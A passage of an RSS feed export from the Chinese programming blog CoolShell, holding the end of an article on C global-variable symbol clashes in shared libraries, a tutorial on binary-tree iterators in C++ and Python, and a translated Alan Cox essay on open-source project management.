&lt;stdio.h&gt;\n\nint b;\nint c;\n\nint t2()\n{\n    printf(&quot;t2:\\t(&amp;b)=0x%08x\\n\\t(&amp;c)=0x%08x\\n\n        \\tsizeof(b)=%d\\n\\tb=%d\\n\\tc=%d\\n&quot;,\n        &amp;b, &amp;c, sizeof b, b, c);\n    return 0;\n}</pre>\n<p>Makefile脚本：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">export LD_LIBRARY_PATH:=.\n\nall: test\n\t./test\n\ntest: t1.o t2.o\n\tgcc -shared -fPIC -o libfoo.so foo.c\n\tgcc -o test t1.o t2.o -L. -lfoo\n\nt1.o: t1.c\nt2.o: t2.c\n\n.PHONY:clean\nclean:\n\trm -f *.o *.so test*\n</pre>\n<p>执行结果：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n./test\nt2:\t(&amp;b)=0x0804a01c\n\t(&amp;c)=0x0804a020\n\tsizeof(b)=4\n\tb=1\n\tc=1\nfoo:\t(&amp;b)=0x0804a01c\n\tsizeof(b)=8\n\tb.a=4\n\tb.b=4\n\tmain:0x08048564\nt1:\t(&amp;b)=0x0804a01c\n\t(&amp;c)=0x0804a020\n\tsizeof(b)=4\n\tb=4\n\tc=4\nt2:\t(&amp;b)=0x0804a01c\n\t(&amp;c)=0x0804a020\n\tsizeof(b)=4\n\tb=4\n\tc=4\nfoo:\t(&amp;b)=0x0804a01c\n\tsizeof(b)=8\n\tb.a=4\n\tb.b=4\n\tmain:0x08048564\nt1:\t(&amp;b)=0x0804a01c\n\t(&amp;c)=0x0804a020\n\tsizeof(b)=4\n\tb=4\n\tc=4\n\t...</pre>\n<p>其实前面几个例子只是开胃小菜而已，真正的大坑终于出现了！而且这次编译器既没报错也没警告，但我们确实眼睁睁地看到作为main()中强符号的b被改写了，而且一旁的c也“躺枪”了。眼尖的读者发现，这次foo.c是作为动态链接库运行时加载的，当t1第一次调用t2时，libfoo.so还未加载，一旦调用了foo函数，b立马中弹，而且<strong>c的地址居然还相邻着b，这使得c一同中弹了。</strong>不过笔者有些无法解释这种行为的原因，有种说法是强符号的全局变量在数据段中是连续分布的（相应地弱符号暂存在.bss段或者符号表里），或许可以上报GNU的编译器开发小组。</p>\n<p>另外笔者尝试过将t1.c中的b和c定义前面加上<strong>const限定词</strong>，编译器仍然默认通过，但程序在main()中第一次调用foo()时触发了Segment fault异常导致奔溃，在foo.c里使用指针改写它也一样。<strong>推断这是GCC对const常量所在地址启用了类似操作系统写保护机制，但我无法确定早期版本的GCC是否会让这个const常量被改写而程序不会奔溃。</strong></p>\n<p>至于<strong>volatile关键词</strong>之于全局变量，自测似乎没有影响。</p>\n<p>怎么样？看了最后一个例子是否有点“不明觉厉”呢？C语言在你心目中是否还是当初那个“纯洁”、“干净”、“行为一致”的姑娘呢？也许趁着你不注意的时候她会偷偷给你戴顶绿帽，这一切都是通过全局变量，特别在动态链接的环境下，就算全部定义成强符号仍然无法为编译器所察觉。而一些IT界“恐怖分子”也经常<strong>将恶意代码包装成全局变量注入到root权限下存在漏洞的操作序列中，</strong>就像著名的栈溢出攻击那样。某一天当你傻傻地看着一个程序出现未定义的行为却无法定位原因的时候，请不要忘记Richie大爷那来自九泉之下最深沉的“问候”~</p>\n<p>或许有些人会偷换概念，把这一切归咎于编译器和链接器身上，认为这同语言无关，但我要提醒你，正是编译/链接器的行为支撑了整个语言的语法和语义。你可以反过来思考一下为何C的胞弟C++推出<strong>“命名空间(namespace)”</strong>的概念，或者你可以使用其它高级语言，对于重定义的全局变量是否能通过编译这一关。</p>\n<p>所以请时刻谨记，<span style=\"color: #ff0000;\"><strong>C是一门很恐怖的语言！</strong></span></p>\n<p>P.S.题外话写在最后。我无意挑起语言之争，只是就事论事地去<strong>“黑(hack)</strong><strong>”</strong>一门语言而已，而且要黑就要黑得有理有力有层次，还要带点娱乐精神。其实黑一门语言并非什么尖端复杂的技术，个人觉得起码要做到两点：</p>\n<ul>\n<li><strong>亲自动手写测试程序。</strong>动手写测试程序是开发人员必备的基础技能，只有现成的代码才能让人心服口服，那些只会停留在口头上的争论只能算作cheap hack。</li>\n</ul>\n<ul>\n<li><strong>测试程序不能依赖于不成熟的代码。</strong>软件开发99%以上的bug都是基于不合格(substandard)开发人员导致，这并不能怪罪于语言以及编译器本身。使用诸如#define TRUE FALSE或者#define NULL 1之类的trick来黑C语言只能证明此人很有娱乐精神而不是真正的&#8221;hack value&#8221;，拿老北京梨园行当里的一句话——“那是下三滥的玩意儿”。</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10115.html\">C语言全局变量那些事儿</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/10115.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>92</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>二叉树迭代器算法</title>\n\t\t<link>https://coolshell.cn/articles/9886.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/9886.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Todd]]></dc:creator>\n\t\t<pubDate>Sun, 14 Jul 2013 03:08:23 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Algorithm]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=9886</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（感谢 @文艺复兴记（todd） 投递此文） 二叉树(Binary Tree)的前序、中序和后续遍历是算法和数据结构中的基本问题，基于递归的二叉树遍历算法更是递...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/9886.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/9886.html\">二叉树迭代器算法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>（感谢 </strong><a href=\"http://weibo.com/weidagang\" target=\"_blank\">@文艺复兴记</a><strong>（todd） 投递此文）</strong></p>\n<p>二叉树(Binary Tree)的前序、中序和后续遍历是算法和数据结构中的基本问题，基于递归的二叉树遍历算法更是递归的经典应用。</p>\n<p>假设二叉树结点定义如下：</p>\n<pre data-enlighter-language=\"cpp\" class=\"EnlighterJSRAW\">\n// C++\nstruct Node {\n    int value;\n    Node *left;\n    Node *right;\n}\n</pre>\n<p>中序递归遍历算法：</p>\n<pre data-enlighter-language=\"cpp\" class=\"EnlighterJSRAW\">\n// C++\nvoid inorder_traverse(Node *node) {\n    if (NULL != node-&gt;left) {\n        inorder_traverse(node-&gt;left);\n    }\n    do_something(node);\n    if (NULL != node-&gt;right) {\n        inorder_traverse(node-&gt;right);\n    }\n}\n</pre>\n<p>前序和后序遍历算法类似。</p>\n<p>但是，仅有遍历算法是不够的，在许多应用中，我们还需要对遍历本身进行抽象。假如有一个求和的函数sum，我们希望它能应用于链表，数组，二叉树等等不同的数据结构。这时，我们可以抽象出迭代器(Iterator)的概念，通过<strong>迭代器把算法和数据结构解耦了</strong>，使得通用算法能应用于不同类型的数据结构。我们可以把sum函数定义为：</p>\n<p><span id=\"more-9886\"></span></p>\n<pre data-enlighter-language=\"cpp\" class=\"EnlighterJSRAW\">\nint sum(Iterator it)\n</pre>\n<p>链表作为一种线性结构，它的迭代器实现非常简单和直观，而二叉树的迭代器实现则不那么容易，我们不能直接将递归遍历转换为迭代器。究其原因，这是因为二叉树递归遍历过程是编译器在调用栈上自动进行的，程序员对这个过程缺乏足够的控制。既然如此，那么我们如果可以自己来控制整个调用栈的进栈和出栈不是就达到控制的目的了吗？我们先来看看二叉树遍历的非递归算法：</p>\n<pre data-enlighter-language=\"cpp\" class=\"EnlighterJSRAW\">\n// C++\nvoid inorder_traverse_nonrecursive(Node *node) {\n    Stack stack;\n    do {\n        // node代表当前准备处理的子树，层层向下把左孩子压栈，对应递归算法的左子树递归\n        while (NULL != node) {\n            stack.push(node);\n            node = node-&gt;left;\n        }\n        do {\n            Node *top = stack.top();\n            stack.pop(); //弹出栈顶，对应递归算法的函数返回\n            do_something(top);\n            if (NULL != top-&gt;right) {\n                node = top-&gt;right; //将当前子树置为刚刚遍历过的结点的右孩子，对应递归算法的右子树递归\n                break;\n            }\n        }\n        while (!stack.empty());\n    }\n    while (!stack.empty());\n}\n</pre>\n<p>通过基于栈的非递归算法我们获得了对于遍历过程的控制，下面我们考虑如何将其封装为迭代器呢？ 这里关键在于理解遍历的过程是由栈的状态来表示的，所以显然迭代器内部应该包含一个栈结构，每次迭代的过程就是对栈的操作。假设迭代器的接口为：</p>\n<pre data-enlighter-language=\"cpp\" class=\"EnlighterJSRAW\">\n// C++\nclass Iterator {\n    public:\n        virtual Node* next() = 0;\n};\n</pre>\n<p>下面是一个二叉树中序遍历迭代器的实现：</p>\n<pre data-enlighter-language=\"cpp\" class=\"EnlighterJSRAW\">\n//C++\nclass InorderIterator : public Iterator {\n    public:\n        InorderIterator(Node *node) {\n            Node *current = node;\n            while (NULL != current) {\n                mStack.push(current);\n                current = current-&gt;left;\n            }\n        }\n        virtual Node* next() {\n            if (mStack.empty()) {\n                return NULL;\n            }\n            Node *top = mStack.top();\n            mStack.pop();\n            if (NULL != top-&gt;right) {\n                Node *current = top-&gt;right;\n                while (NULL != current) {\n                    mStack.push(current);\n                    current = current-&gt;left;\n                }\n            }\n            return top;\n         }\n    private:\n        std::stack&lt;Node*&gt; mStack;\n};\n</pre>\n<p>下面我们再来考察一下这个迭代器实现的时间和空间复杂度。很显然，由于栈中最多需要保存所有的结点，所以其空间复杂度是O(n)的。那么时间复杂度呢？一次next()调用也最多会进行n次栈操作，而整个遍历过程需要调用n次next()，那么是不是整个迭代器的时间复杂度就是O(n^2)呢？答案是否定的！因为每个结点只会进栈和出栈一次，所以整个迭代过程的时间复杂度依然为O(n)。其实，这和递归遍历的时空复杂度完全一样。</p>\n<p>除了上面显式利用栈控制代码执行顺序外，在支持yield语义的语言（C#, Python等)中，还有更为直接的做法。下面基于yield的二叉树中序遍历的Python实现：</p>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">\n// Python\ndef inorder(t):\n    if t:\n        for x in inorder(t.left):\n            yield x\n        yield t.label\n        for x in inorder(t.right):\n            yield x\n</pre>\n<p>yield与return区别的一种通俗解释是yield返回时系统会保留函数调用的状态，下次该函数被调用时会接着从上次的执行点继续执行，这是一种与栈语义所完全不同的流程控制语义。我们知道Python的解释器是C写的，但是C并不支持yield语义，那么解释器是如何做到对yield的支持的呢？ 有了上面把递归遍历变换为迭代遍历的经验，相信你已经猜到Python解释器一定是对yield代码进行了某种变换。如果你已经能够实现递归变非递归，不妨尝试一下能否写一段编译程序将yield代码变换为非yield代码。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/8239.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/09/lock_free_bicycle-150x150.jpg\" alt=\"无锁队列的实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8239.html\" class=\"wp_rp_title\">无锁队列的实现</a></li><li ><a href=\"https://coolshell.cn/articles/6010.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"一些有意思的算法代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6010.html\" class=\"wp_rp_title\">一些有意思的算法代码</a></li><li ><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一些有意思的文章和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_title\">一些有意思的文章和资源</a></li><li ><a href=\"https://coolshell.cn/articles/3738.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"打印质数的各种算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3738.html\" class=\"wp_rp_title\">打印质数的各种算法</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9886.html\">二叉树迭代器算法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/9886.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>54</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Alan Cox：大教堂、市集与市议会</title>\n\t\t<link>https://coolshell.cn/articles/9917.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/9917.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Leo]]></dc:creator>\n\t\t<pubDate>Mon, 08 Jul 2013 07:42:27 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[技术管理]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Alan Cox]]></category>\n\t\t<category><![CDATA[Linus Torvalds]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=9917</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（感谢网友 @我的上铺叫路遥 投稿） 在网上搜到的Cox大叔于1998年在开源社区写的一篇文章，当时很轰动，明眼人一看就知道是针对ESR那篇《大教堂与市集》，从...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/9917.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/9917.html\">Alan Cox：大教堂、市集与市议会</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>（感谢网友 </strong><a href=\"http://weibo.com/fullofbull\" target=\"_blank\"><strong>@我的上铺叫路遥</strong></a><strong> 投稿）</strong></p>\n<p>在网上搜到的Cox大叔于1998年在开源社区写的一篇文章，当时很轰动，明眼人一看就知道是针对ESR那篇《大教堂与市集》，从中可见Alan在项目管理风格上乃至个人性格上都与ESR、Linus等人不同之处。顺便说一句，Alan现在出于“家庭原因”已经离开了Linux项目，他曾经评价Linus是<a href=\"http://apolyton.net/showthread.php/130212-Linus-Torvalds-is-a-terrible-engineer-Alan-Cox\" target=\"_blank\">a good developer but a terrible engineer</a>，甚至在Google+上直接说Linus就是一a*sh**e。不管如何，两位曾经十余年里并肩战斗惺惺相惜的大牛就此分道扬镳还是惹人唏嘘。</p>\n<p>言归正传，以下为slashdot收录的英文原文：<a href=\"http://news.slashdot.org/story/98/10/13/1423253/featurecathedrals-bazaars-and-the-town-council\" target=\"_blank\">Cathedrals, Bazaars and the Town Council</a>。</p>\n<p>以下是一些我对市集模式的想法，我认为这值得分享，这种模式会教你如何完全毁掉一个自由软件项目。我还举了一个我称之为“市议会”(Town Council)效应的实例（虽然那些市议员们可不这么认为，注：此处指Linux项目开发者）。</p>\n<p>关于软件开发人员，你必须去了解一些情况。首先要了解的是真正优秀的程序员相对来说并不普遍，不仅如此，在很多其它专业领域里“真正的程序员”和一些捣乱的家伙之间的区别要比“伟大”和“普通”之间的区别要大得多，研究表明生产效率上最好的同其余的比重是30:1。</p>\n<p>其次，你需要了解的是一大堆妄想型码农(wannabe programmer)总是善于发表意见。其中很多人患上了一种叫做“流行性热词”(buzzword)疾病，或者对他们“非黑即白”(one true path)的思考方式有着特殊的偏执，网上很多讨论都是廉价的。</p>\n<p><span id=\"more-9917\"></span></p>\n<p>第三个关于软件项目的事情就是我们所谓的“闲杂人员”(the masses)。他们不是编程人员，而在其它方面有着大量贡献——文档编辑、用户支持，以及对那类经常争论你应该获得许可证才能上网的人的说服工作。</p>\n<p>我想以Linux 8086（注，Intel设计的16位处理器架构）为例来说明如何将整个工程全部搞砸。将Linux的一个子集移植到8086上大体是这世上最无聊的活动之一。整件事的发起就像个笑话并走向失控。</p>\n<p>只有极少数真正的程序员会将时间及其良好的精神状态（或许那是假的）花费在那些唯一价值在于“黑客精神”(Hack Value)的项目上，故而在任何时候那种项目也就两三个核心贡献人员而已。</p>\n<p>不幸的是大批人认为将Linux运行在8086上是干净的，为此义不容辞地想要“入伙”。这类人大多属于妄想型码农之流，以至于连闲杂人员在一个安全距离之外都会沾染上这个项目的“愚蠢”因子。</p>\n<p>问题的导火索在于一大批充满（大多善意的）危险的一知半解的人们的意识观念——不是代码，而是意识观念。他们似乎很懂得如何去编程，但很多人连“Hello World”这样的C程序都不会。他们花了几星期时间去争论并投票该使用什么编译器，甚至在项目开展一年后还在争论是否去写个充分完美的编译器。他们热衷于辩论如何生成大量二进制文件，却又对内核swapper（注，即idle task）设计一无所知。</p>\n<p>Linux 8086项目仍然进行着，真正的开发人员将邮件列表里许多其他成员加入到清除文件(kill files)中，以便他们之间可以顺畅地通过邮件列表沟通，只因半吊子打酱油的家伙实在太多了。这一切不再是市集模式，而是形成了一个核心小组，对圈子里许多人而言这是一种礼貌用语。在这种情形下人们不可避免地处于被动位置。</p>\n<p>像Linux这种基于用户/程序员的项目成长缓慢，虽然它是靠着一群贡献代码的人得以成长起来，但这些人的背景要么是从原始的Minix（注，一种微内核操作系统）黑客社区起家，要么通过艰难的方式不断从头学起。随着项目增长，人们本应该形成一个“Linux内核结构规划管理委员会”，而不是掉入将人们招来唤去，不将失败视为问题的怪圈，用Linus的话来说就是“给我看源码”。</p>\n<p>如果有人陷入困境，他可以发帖询问，在这之前包括现在很大程度上都基于人们正常地拥有时间并具备知识来回复他。在Linux 8086的案例中，开发人员很长一段时间身陷囹圄。假使主动活跃的程序员对只有潜在用处的妄想型码农的比例更高一点的话，我们就可以将一些杂音转化成生产力。项目也就获得更多有用的程序员，他们可以轮流向他人传授经验，任何学习活动都会让你变得更好，哪怕只有一些少量实习生。</p>\n<p>一些人会认为你无法将那些“次要程序员”(lesser programmer)训练成真正的程序员。就Linux项目的个人经验而言，很多人员只要获得一丁点儿的帮助和自信鼓励都将成为世界上最好的开发人员之一。只要帮助和鼓励足够多，很多人就能成功。</p>\n<p>Linux 8086总算大部分从“侵扰”中恢复过来，可至今仍是个不起眼的小项目。你可以从CVS目录树上下载这个由Alistair Riddich领导的项目，他做了很多优秀的工作。随着市议员的撤出，人们可以询问、参与并改善这个项目。</p>\n<p>我们从这个项目，还有其它相同命运的早期Linux 16位处理器项目（有的已死）中很清楚地学到以下几点教训。</p>\n<ul>\n<li>从项目一开始就发布源代码。哪怕不是很有用也无关紧要，将市议会排序分类的最好方式就是发布源代码并告知人们。Linux、KDE以及GNOME都遵循这种方式并获益良多。你可以花一辈子时间去争论怎样写代码才是正确的。只要代码公布，人们（不管水平怎样）都会把玩它。</li>\n</ul>\n<ul>\n<li>要欣赏那些给一点帮助就会对项目做出巨大贡献的人。如果他们最初的补丁有错误，不要盛气凌人，向其解释问题出在哪里并给出解决方案的建议，或者可以查询解决方法的地方。解答真正的问题，帮助别人，你所花费的一分一秒都会成十倍地回报在项目上，对社会也会带来无法估量的好处。[注]</li>\n</ul>\n<ul>\n<li>不要忘记那些非开发人员。我难过地发现许多人问起“前5名最重要的内核成员”时却极少涉及在所有人中最重要的一些——他们负责维护网站，更新日志和邮件列表，还有编辑文档，这些都是同等重要。<br />\nLinus那句“给我看源代码”对真正的项目来说是个狭隘的视角。当你听到人们说“我很想帮忙，可我不会编程”，那么他可以从事文档编写。当人们说“但英语不是我的第一语言”，这时你需要的是一位文档编辑或另一门语言翻译者。</li>\n</ul>\n<ul>\n<li>尝试将有用的人从杂音中分离出来，将有意愿帮忙的人从一大堆无聊评论中分离出来是很难的。在Linux 8086项目中我的确错误地放弃了这一目标，如何将那些只会空谈而又无所事事的人弄走是一门学问。</li>\n</ul>\n<p>下次碰到人们在项目上投票，或者问题讨论了一个月才实现这类情况，给予他们警告。这样才能使人正确地解决问题。在你看来如果一些稀奇古怪的事务不顾一切地运行着，要求他们给你发个补丁，只要能够生效的话。</p>\n<p>小心地说“我们应该怎样”之类的话，对“我该如何做”这样的人伸出援手。</p>\n<p>Alan</p>\n<p>[注]这段话举个例子说明一下。Linux IPv6源码作者以前在葡萄牙上网聊天，只会简单讨论和问一些基本问题。我们助其弄明白一些内核原理之后，他写了大约75%的IPv6协议栈代码，他最近受聘于美国思科公司。</p>\n<p>附录一：一篇针对本文的<a href=\"http://tech.groups.yahoo.com/group/java-os-project/message/2358?var=1&amp;p=1\" target=\"_blank\">吐槽贴</a></p>\n<p>附录二：2009年Cox回复Torvalds的<a href=\"https://lkml.org/lkml/2009/7/28/375\" target=\"_blank\">邮件</a>，事情起因是Cox的一个tty patch导致<a href=\"https://lkml.org/lkml/2009/7/11/125\" target=\"_blank\">kdesu(KDE project&#8217;s su utility)</a>程序无法工作，该问题争论长达两个星期，此后Alan离开了Linux项目投奔Intel。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9859.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/06/Alan-Cox-150x150.jpg\" alt=\"Alan Cox：单向链表中prev指针的妙用\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9859.html\" class=\"wp_rp_title\">Alan Cox：单向链表中prev指针的妙用</a></li><li ><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" alt=\"Linus：利用二级指针删除单向链表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_title\">Linus：利用二级指针删除单向链表</a></li><li ><a href=\"https://coolshell.cn/articles/2322.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/04/o_unixrichiethompson-150x150.jpg\" alt=\"Unix传奇(上篇)\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2322.html\" class=\"wp_rp_title\">Unix传奇(上篇)</a></li><li ><a href=\"https://coolshell.cn/articles/1278.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"Linus Torvalds 语录 Top 10\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1278.html\" class=\"wp_rp_title\">Linus Torvalds 语录 Top 10</a></li><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 